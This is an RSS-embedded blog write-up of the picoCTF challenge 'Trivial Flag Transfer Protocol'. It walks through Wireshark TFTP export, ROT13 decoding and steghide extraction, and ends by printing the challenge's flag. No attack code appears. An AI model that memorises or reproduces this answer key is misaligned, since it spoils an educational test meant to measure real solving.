            <link>https://medium.com/@yehyamuhammedelsawy/picoctf-trivial-flag-transfer-protocol-0b2d762a6f38?source=rss-80ef7f07fa98------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b2d762a6f38</guid>
            <dc:creator><![CDATA[Yehya Elsawy]]></dc:creator>
            <pubDate>Fri, 04 Apr 2025 20:44:08 GMT</pubDate>
            <atom:updated>2025-04-04T20:44:08.153Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, it’s me (for the first time! :) , and I would like to talk about the “Trivial Flag Transfer Protocol”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*8BLbaOQzvznFotYRx1EJwA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gUeM21-8wbejcLQab-RSwA.png" /><figcaption>“Trivial Flag Transfer Protocol”</figcaption></figure><p>First of all, we need to download the file to see what we have on our plate. Do it however you prefer — whether you’re obsessed with the terminal and use <strong><em>wget :</em></strong></p><blockquote><em>wget </em><a href="https://mercury.picoctf.net/static/fb24ddcfaf1e297be525ba7474964fa5/tftp.pcapng"><em>https://mercury.picoctf.net/static/fb24ddcfaf1e297be525ba7474964fa5/tftp.pcapng</em></a></blockquote><blockquote><em>file tftp.pcapng</em></blockquote><p>or you’re like me, a noob who just clicks the link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*pqSKh8sAHrFGyJoDL9Peiw.png" /></figure><p>There’s a lot of messy stuff going on here, but we can see that most of the network traffic is TFTP (which makes sense — it’s the name of the CTF, after all, dude).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhsGe8OMnPtOgFcZ_pbdXw.png" /></figure><p>Honestly, I’ve never used or dealt with TFTP before, so after asking ChatGPT and reading some stuff, here’s what I found:</p><p>In a nutshell, TFTP (Trivial File Transfer Protocol) is a file transfer protocol that uses UDP and doesn’t require authentication or encryption. Because of this, TFTP is faster and more reliable for transferring small amounts of data. And actually, it works like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*_BKNWml69tUALgY7PQ0agQ.png" /></figure><p>Now, after applying some filters on the capture frames to see what was sent and received…</p><blockquote>tftp.type</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vXLriVGwPic7k2RGGjrvRA.png" /></figure><p>We can see that files were sent, so now let’s export all of them to check their contents by clicking: File → Export Objects → TFTP → Save (save them in a directory for simplicity)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y89BlcZRoCWo-ltbLYACEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q9_dnhwzeVNc5ggnI3cRog.png" /></figure><p>Lets dig in the same order all the files were sent, The first one is “instruction.txt”</p><blockquote>cat instructions.txt</blockquote><p>And we get :</p><blockquote><strong><em>GSGCQBRFAGRAPELCGBHEGENSSVPFBJRZHFGQVFTHVFRBHESYNTGENAFSRE.SVTHERBHGNJNLGBUVQRGURSYNTNAQVJVYYPURPXONPXSBEGURCYNA</em></strong></blockquote><p><strong>And now… what the F</strong>* Is this?! (Yeah, that was my reaction, but honestly, it doesn’t have to be yours too.) Anyway, this text looks like complete nonsense, which makes us wonder — is it encoded? Encrypted?</p><p>Let me introduce you to the ROT13 “rotate by 13 places”. Why ROT13? ( I do not know, ask the creator of the CTF-just kidding😅) , honestly i had no idea at first, but after messing around in cyberchef,base64 decode/encode , caesar cipher decode and a bunch of other stuff… it turns out it was just ROT13. (and to be honest , when it comes to CTFs, it’s either Base64 or ROT13 decoding 90% of the time.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hhaPjElkxlrR4COe1K_rfQ.png" /></figure><p>After doing a ROT13 decode (you can do it here on cyberchef <a href="https://toolbox.itsec.tamu.edu/">https://toolbox.itsec.tamu.edu/</a>) we get:</p><blockquote><strong><em>TFTPDOESNTENCRYPTOURTRAFFICSOWEMUSTDISGUISEOURFLAGTRANSFER.FIGUREOUTAWAYTOHIDETHEFLAGANDIWILLCHECKBACKFORTHEPLAN</em></strong></blockquote><p>Now it makes sense isn’t it? let’s add some space into the decoded text, now we have:</p><blockquote><strong><em>TFTP DOESNT ENCRYPT OUR TRAFFIC SO WE MUST DISGUISE OUR FLAG TRANSFER. FIGURE OUT A WAY TO HIDE THE FLAG AND I WILL CHECK BACK FOR THE PLAN</em></strong></blockquote><p>Ok, it says what it means, “I will check back for the plan” and we have the “plan” file which we got earlier from the pcapng file, remember? Then let’s dig in that file</p><blockquote>cat ./plan</blockquote><p>And once again we get the same fuc**** nonsense text :</p><blockquote><strong><em>VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF</em></strong></blockquote><p><em>But yeah buddy now we know the secret, so yeah i did ROT13 decoding again , and we got :</em></p><blockquote><strong><em>IUSEDTHEPROGRAMANDHIDITWITH-DUEDILIGENCE.CHECKOUTTHEPHOTOS</em></strong></blockquote><p><em>The same trick “Spaces”(magic :), it just makes sense now (magic:)</em></p><blockquote><strong><em>I USED THE PROGRAM AND HID IT WITH-DUE DILIGENCE. CHECKOUT THE PHOTOS</em></strong></blockquote><p>“The program”? we also get a program (debian package) which is “program.deb” from the traffic file, i just noob and click on it double left click (shout out for noobs)</p><p>So yeah they used “steghide” tool to hide some files in the one or maybe all of those photos , but hey if you do not know what is “steghide” tool (which means in this case you are the only noob here [again kidding] ) , you can read more about it here : <a href="https://steghide.sourceforge.net/">https://steghide.sourceforge.net/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-87k-dJmNNRCdrPdtEftyA.png" /></figure><p>Alright, lets go back to the steghide,as the documentation says, we can extract or reverse our flag by using this command, but it requires a password:</p><blockquote><em>steghide extract -sf &lt;fiflename&gt; -p &lt;password&gt;</em></blockquote><p>But hey, do you remember the decoded text in the “plan” file? It says :</p><p>“WITH-DUEDILIGENCE”. What if “DUEDILIGENCE” is our password?!</p><p>There’s only one way to know (Try:)</p><blockquote><em>steghide extract -sf ./picture1.bmp -p “DUEDILIGENCE”</em></blockquote><p><em>We got “steghide: could not extract any data with that passphrase!”. Let’s try it with the other two images</em></p><blockquote><em>steghide extract -sf ./picture2.bmp -p “DUEDILIGENCE”</em></blockquote><p><em>Still, we got nothing, but i got luck with the last one :)</em></p><blockquote><em>steghide extract -sf ./picture3.bmp -p “DUEDILIGENCE”</em></blockquote><p><em>The Console output with wrote extracted data to “flag.txt”. it must be the flag here :). Let’s cat it.</em></p><blockquote><em>cat ./flag.txt</em></blockquote><p><em>And the console output is: </em><strong><em>picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919}</em></strong></p><p><em>That’s it! It took me about an hour and a half (maybe two) to read up on TFTP, figure out what kind of encryption or encoding was used, and, just to satisfy my curiosity, dive into how ROT13 works (in the simplest way possible).</em></p><p><em>Finally, thank you so much for reading my post — I hope we get to play more CTFs together! :)</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b2d762a6f38" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>